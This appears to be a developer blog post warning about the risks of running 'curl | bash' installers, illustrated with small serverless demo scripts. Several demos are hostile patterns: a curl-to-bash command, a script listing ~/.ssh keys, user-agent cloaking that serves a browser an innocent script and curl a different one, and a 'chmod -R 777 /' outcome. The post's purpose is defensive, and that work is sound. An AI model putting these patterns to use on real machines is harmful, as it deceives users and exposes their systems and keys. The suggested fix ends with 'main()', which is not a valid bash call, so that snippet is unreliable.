Maintain a Healthy Sense of Caution Whenever Running a `curl|bash` Command

alexmacarthur

Alex MacArthur

Posted on February 18, 2024

Maintain a Healthy Sense of Caution Whenever Running a `curl|bash` Command

If you've installed nerd software on your machine before, you've almost certainly executed a command like this before:

curl https://some-domain.com/install.sh | bash 
Enter fullscreen mode Exit fullscreen mode

If you're anything like me, it took a long time (maybe years) to even ask what that sort of command is even doing. It's not much: curl retrieves a response and immediately feeds it to bash to execute on your machine. It's simple, flexible, and powerful.

With perks like that, it's no surprise Homebrew, Bun, nvm, and a bajillion other tools over the years have used a "curl to bash" for distributing their tools to machines. I'm actually one of them. I opted to use the tactic for the Plausible Bootstrapper's installation experience, and I'm glad I did.

But the experience of building that out made me think a little more deeply about the practice. It's useful, but it also comes with risk that's easy to overlook. Bad guys love words like "simple," and "powerful." It means there's an opportunity to exploit. All it takes to become vulnerable is failing to pay attention to what you're running on your machine.

I'm certainly not saying we should do away with the practice altogether. I just want to reignite a healthy sense of caution when ever it's used, starting within myself. And that means getting in touch with some of its biggest risks.

The Biggest Concerns with Piping Curl Responses to Bash

There are some loud voices out there outrightly opposed to curl|bash, and the risks that power their apprehension is real. Here are some of the big ones:

You could execute malicious code on your machine.

It's the obvious one. By nature of this type of command, whatever the endpoint returns will be executed directly on your machine with no hesitation. If you're copying & executing that command in one fell swoop, you don't get to review what's about to happen. There's no further approval process. No integrity verification step. It just goes.

From a bad guy's perspective, wouldn't take much to do something evil. Here's one I made with a small serverless function. All it does is return a stringified shell script:

export default async (request, response) => {
  return response.status(200).send(`
    #!/bin/bash

    echo "Taxation is theft."
  `);
};
Enter fullscreen mode Exit fullscreen mode

It's run by executing the following:

curl -sL https://macarthur.me/run | bash
Enter fullscreen mode Exit fullscreen mode

Of course, a bad guy would do something more nefarious, like read all of your private ~/.ssh keys and do whatever it is bad guys do with them.

export default async (request, response) => {
    return response.status(200).send(`
        #!/bin/bash

        echo "I could steal these:"

        ls ~/.ssh
    `);
};
Enter fullscreen mode Exit fullscreen mode

You get the idea. There are very few guardrails with this tactic, increasing your odds of falling off a cliff.

It can behave differently based on the user agent.

You might think you could avoid the risk by popping the endpoint in your browser and previewing the source code before running it. That's a good practice, but it's not bulletproof. On the bad guy's end, it's easy enough to change the output when you know someone's accessing it through a browser instead of a terminal. With a quick sniff of the user agent, you could end up seeing a very different script from what's actually run.

+ function isProbablyABrowser(request) {
+   return !/curl|postman/i.test(request.headers["user-agent"]);
+ }

export default async (request, response) => {
+   if (isProbablyABrowser(request)) {
+ return response.status(200).send(`
+ #!/bin/bash
+
+ echo "I'm very innocent!"
+ `);
+ }
+
    return response.status(200).send(`
        #!/bin/bash

        echo "I could steal these:"

        ls ~/.ssh
    `);
};

Enter fullscreen mode Exit fullscreen mode

Being that easy, skimming through the script in a browser might amount to nothing more than false confidence. Run it in a terminal and you're still screwed.

You could accidentally execute a partially downloaded script.

Under certain conditions, it's possible to retrieve and execute incomplete contents of an entire script. At best, your system would be left in an "unfinished" state or the script might bomb altogether, but at worst, it could wreak havoc on your machine.

Here's a contrived example. Let's say you've run piped a script to bash to that was interrupted for some reason, but it still sent some contents to execute. In this case, I'll just throw an error in the middle of the process constructing the full script.

export default async (request, response) => {
    response.write("#!/bin/bash\n");

    const scriptParts = [
        "chmod", 
        "-R", 
        "777", 
        "/", 
        "specific/directory"
    ];

    for (let index = 0; index < scriptParts.length; index++) {
        // Oh no!
        if (index === scriptParts.indexOf("specific/directory")) {
            console.error("Something unexpected happened!");
            break;
        }

        response.write(scriptParts[index] + " ");
    }

    response.end();
};
Enter fullscreen mode Exit fullscreen mode

A script that should have given permissions to a particular directory had a blip, causing this to be returned:

#!/bin/bash
chmod -R 777 / 
Enter fullscreen mode Exit fullscreen mode

And now, your entire system was made vulnerable by granting every user unintended access.

From an author's perspective, this is easily preventable: wrap the script body in a function, and only call that function after it's been fully downloaded:

#!/bin/bash

function main {
  chmod -R 777 /specific/directory
}

main()
Enter fullscreen mode Exit fullscreen mode

Now, the script can only execute after all of it's been downloaded. Much less risky.

Just Pay Attention

This certainly isn't the only set of risks associated with piping curl to bash, but they hopefully set the tone for how serious the consequences could be if you're not paying attention.

That probably is the most effective thing you can do to balance the immense value of these commands with the risks they carry: pay attention. Tangibly, that means:

  • Know what you expect to happen before running the command. Consider the side effects. Get a grip on the intended outcome of the script. Sometimes, makers aren't even trying to do anything nasty. You might've just sucked at reading the documentation, and now other system-level dependencies no longer behave the way they previously did.
  • Make sure you trust the author. Even if you don't know them personally, you can usually pick up on enough clues to derive that trust. Inspect their website. Find corroborating reviews. Run a quick search to see if anyone else has regretted using this thing.
  • Read (and understand) the command itself. Don't fall prey to blindly copying & pasting an installation command you find in some documentation. For all you know, the endpoint might not be protected via TLS, and now you've opened yourself up to a man-in-the-middle attack. It's on you to know what you're about to run on your machine, and what it's designed to do.

Engineering life would've been a lot harder if it weren't for the curl|bash commands I've run over the years, and I'm grateful to the authors who've made it so easy to get up & going by using the approach. But it's one of the many things out there that you shouldn't get too comfortable using. So, be smart and have a healthy sense of caution whenever you do.

💖 💪 🙅 🚩
alexmacarthur
Alex MacArthur

Posted on February 18, 2024

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related